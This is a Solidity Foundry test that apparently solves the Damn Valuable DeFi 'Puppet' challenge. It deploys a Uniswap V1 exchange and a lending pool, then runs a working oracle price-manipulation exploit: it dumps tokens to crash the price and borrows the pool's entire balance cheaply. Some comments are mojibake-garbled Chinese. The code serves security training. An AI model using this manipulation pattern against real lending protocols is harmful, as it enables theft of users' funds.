// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {PuppetPool} from "../../../src/Contracts/puppet/PuppetPool.sol";
import "forge-std/console.sol";
interface UniswapV1Exchange {
    function addLiquidity(
        uint256 min_liquidity,
        uint256 max_tokens,
        uint256 deadline
    ) external payable returns (uint256);

    function balanceOf(address _owner) external view returns (uint256);

    function tokenToEthSwapInput(
        uint256 tokens_sold,
        uint256 min_eth,
        uint256 deadline
    ) external returns (uint256);

    function getTokenToEthInputPrice(uint256 tokens_sold)
        external
        view
        returns (uint256);
}

interface UniswapV1Factory {
    function initializeFactory(address template) external;

    function createExchange(address token) external returns (address);
}

contract Puppet is Test {
    // Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
    uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
    uint256 internal constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;

    uint256 internal constant ATTACKER_INITIAL_TOKEN_BALANCE = 1_000e18;
    uint256 internal constant ATTACKER_INITIAL_ETH_BALANCE = 25e18;
    uint256 internal constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
    uint256 internal constant DEADLINE = 10_000_000;

    UniswapV1Exchange internal uniswapV1ExchangeTemplate;
    UniswapV1Exchange internal uniswapExchange; // ETH-DVT pair
    UniswapV1Factory internal uniswapV1Factory;

    DamnValuableToken internal dvt;
    PuppetPool internal puppetPool;
    address payable internal attacker;

    function setUp() public {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        attacker = payable(
            address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
        );
        vm.label(attacker, "Attacker");
        vm.deal(attacker, ATTACKER_INITIAL_ETH_BALANCE);

        // Deploy token to be traded in Uniswap
        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        uniswapV1Factory = UniswapV1Factory(
            // è¿™é‡Œè¿™ä¸ªå‚æ•°æ˜¯artifacts,å†…å«abiå’Œcreationcode
            deployCode("./src/build-uniswap/v1/UniswapV1Factory.json")
        );

        // Deploy a exchange that will be used as the factory template
        uniswapV1ExchangeTemplate = UniswapV1Exchange(
            deployCode("./src/build-uniswap/v1/UniswapV1Exchange.json")
        );

        // Deploy factory, initializing it with the address of the template exchange
        uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));

        uniswapExchange = UniswapV1Exchange(
            uniswapV1Factory.createExchange(address(dvt))
        );

        vm.label(address(uniswapExchange), "Uniswap Exchange");

        // Deploy the lending pool
        puppetPool = new PuppetPool(address(dvt), address(uniswapExchange));
        vm.label(address(puppetPool), "Puppet Pool");

        // Add initial token and ETH liquidity to the pool
        dvt.approve(address(uniswapExchange), UNISWAP_INITIAL_TOKEN_RESERVE);
        uniswapExchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
            0, // min_liquidity
            UNISWAP_INITIAL_TOKEN_RESERVE, // max_tokens
            DEADLINE // deadline
        );

        // Ensure Uniswap exchange is working as expected
        assertEq(
            uniswapExchange.getTokenToEthInputPrice(1 ether),
            calculateTokenToEthInputPrice(
                1 ether,
                UNISWAP_INITIAL_TOKEN_RESERVE,
                UNISWAP_INITIAL_ETH_RESERVE
            )
        );

        // Setup initial token balances of pool and attacker account
        dvt.transfer(attacker, ATTACKER_INITIAL_TOKEN_BALANCE);
        dvt.transfer(address(puppetPool), POOL_INITIAL_TOKEN_BALANCE);

        // Ensure correct setup of pool.
        assertEq(
            puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE),
            POOL_INITIAL_TOKEN_BALANCE * 2 // å› ä¸ºuniswapæ± ä¸­DVTå’ŒETHçš„æ¯”ä¾‹æ˜¯1:1,å› æ­¤1dvt=1ETH
        );

        console.log(unicode"ğŸ§¨ PREPARED TO BREAK THINGS ğŸ§¨");
    }

    // åº”è¯¥æ˜¯ä¸ªå…¸å‹çš„é¢„è¨€æœºä»·æ ¼æ“çºµæ”»å‡»
    // é¦–å…ˆå°†uniswapæ± ä¸­çš„dvtä»·æ ¼æ‹‰ä½(åœ¨uniswapä¸Šè¿›è¡Œdvt to ETHçš„å€¾é”€)
    // ç„¶åç”¨è¿™ä¸ªä½çš„ä»·æ ¼æŠŠpuppetæ± ä¸­çš„å¸å…¨éƒ¨borrowèµ°
    function testExploitPUPPET() public {
        /** EXPLOIT START **/
        vm.startPrank(attacker);
        // å€¾é”€
        dvt.approve(address(uniswapExchange),ATTACKER_INITIAL_TOKEN_BALANCE);
        uniswapExchange.tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE, 0.1 ether, DEADLINE);
        console.log("attacker balance",attacker.balance/1e18);
        console.log("empty puppet needed eth:",puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)/1e18*2);
        // puppetPool.borrow{value:30}(POOL_INITIAL_TOKEN_BALANCE);
        uint256 _1ethToToken=_1ethCanGotToken();
        console.log("1 eth can buy token:",_1ethToToken/1e18);
        console.log("attacker dvt balance:",dvt.balanceOf(attacker)/1e18);
        puppetPool.borrow{value:20 ether}(POOL_INITIAL_TOKEN_BALANCE);
        console.log("attacker balance",attacker.balance/1e18);
        console.log("attacker dvt balance:",dvt.balanceOf(attacker)/1e18);
        vm.stopPrank();
        /** EXPLOIT END **/
        validation();
    }
    function _1ethCanGotToken() private returns(uint256) {
        return (dvt.balanceOf(address(uniswapExchange)) * (10**18) / address(uniswapExchange).balance );
    }

    function validation() internal {
        // Attacker has taken all tokens from the pool
        assertGe(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);
        assertEq(dvt.balanceOf(address(puppetPool)), 0);
    }

    // Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
    function calculateTokenToEthInputPrice(
        uint256 input_amount,
        uint256 input_reserve,
        uint256 output_reserve
    ) internal returns (uint256) {
        uint256 input_amount_with_fee = input_amount * 997;
        uint256 numerator = input_amount_with_fee * output_reserve;
        uint256 denominator = (input_reserve * 1000) + input_amount_with_fee;
        return numerator / denominator;
    }
}
